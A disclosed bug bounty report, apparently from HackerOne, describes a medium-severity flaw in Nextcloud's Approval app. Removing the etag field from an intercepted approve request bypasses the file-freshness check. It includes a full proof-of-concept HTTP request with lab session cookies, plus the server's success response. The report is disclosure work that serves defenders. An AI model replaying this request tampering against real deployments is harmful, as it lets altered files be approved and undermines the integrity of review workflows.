HexBrain

Nextcloud · Report #3610332

Approval app's file-freshness check can be bypassed by omitting the etag parameter, allowing approval of unreviewed file changes

Validstatus
mediumseverity
$150bounty
63upvotes
17 Sept 2026disclosed

Summary

Advisory: https://github.com/nextcloud/security-advisories/security/advisories/GHSA-7php-cxrr-v4m3

How it was found

Summary:

The approval workflow includes a protection intended to prevent an approver from approving or rejecting a file whose contents changed after review, using the file etag. However, the backend only enforces this check when the etag parameter is present and non-empty. An attacker can intercept the request from the UI, remove the etag field, and successfully approve or reject a file even after it was modified.

This breaks the integrity of the approval process because the approver may approve a different file state than the one they reviewed.

Prerequisites

A valid approval workflow exists. test1 is allowed to request approval. test2 is allowed to approve. test2 has access to the pending file.

Steps To Reproduce:

  1. Create an approval workflow:

{F5551074}

  1. Log in as test1 and upload a file such as poc.md

{F5551092}

  1. Request approval for that file.

{F5551095}

{F5551096}

  1. Log in as test2 and review the file contents.

{F5551101}

  1. As test2, click Approve and intercept the request with Burp

{F5551104}

{F5551105}

  1. Log back in as test1 and modify the file.

{F5551108}

  1. As test2, It is unacceptable when content has just been edited.

{F5551114}

  1. As test2, remove the etag field from the JSON body and Forward the request. Verified PoC
PUT /ocs/v2.php/apps/approval/api/v1/approve/14831 HTTP/1.1
Host: 172.16.88.96:8081
Content-Length: 19
requesttoken: VG7aXKzexiptXUcHCI4D3kSYtm7Ka9qPYV/cPqY98nQ=:PQucC5msr3wlKB5GYd157nHO0RSPIYnGI3SUe/YMkwE=
X-Requested-With: XMLHttpRequest, XMLHttpRequest
Accept-Language: vi-VN,vi;q=0.9
Accept: application/json, text/plain, */*
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Origin: http://172.16.88.96:8081
Accept-Encoding: gzip, deflate, br
Cookie: oc_sessionPassphrase=h0hEbFC0ZNEg6Gqy4BzpKCPT9G99atcnoDLkZETROFjdM5pBmz0CGEZiRgeoPI%2BU9qXj9UC6Ayu2TpojCyMA32cLlAj%2Bms9gvLYnViKC%2BhNWO9B0i3rBmR1YewWvEKhj; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; ocrzkzhsljc2=61f75550c287a8d21a3a557dd913e7ca; nc_username=test2; nc_token=a787oSWw0nXxsNOytys1vIoZTGKXsi6d; nc_session_id=61f75550c287a8d21a3a557dd913e7ca
Connection: keep-alive

{"message":"test2"}

Observed response

HTTP/1.1 200 OK
Date: Tue, 17 Mar 2026 08:30:21 GMT
Server: Apache/2.4.66 (Debian)
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Permitted-Cross-Domain-Policies: none
X-Robots-Tag: noindex, nofollow
Referrer-Policy: no-referrer
X-Powered-By: PHP/8.3.30
Content-Security-Policy: default-src 'none';base-uri 'none';manifest-src 'self';frame-ancestors 'none'
X-Request-Id: 8xMLCrwKUw0gFWKsJVTu
Cache-Control: no-cache, no-store, must-revalidate
Feature-Policy: autoplay 'none';camera 'none';fullscreen 'none';geolocation 'none';microphone 'none';payment 'none'
X-User-Id: test2
Content-Length: 74
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/json; charset=utf-8

{"ocs":{"meta":{"status":"ok","statuscode":200,"message":"OK"},"data":[]}}

{F5551125}

Impact

This vulnerability allows bypassing the content freshness protection in the approval workflow. In practice, it can lead to:

  • Approval of a file version different from the one reviewed
  • Loss of integrity in internal sign-off or approval processes
  • Approval of altered compliance, legal, financial, or release artifacts
  • Abuse by a requester who modifies the file after review but before final approval If this app is used in sensitive approval workflows, the impact may be higher depending on deployment context.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original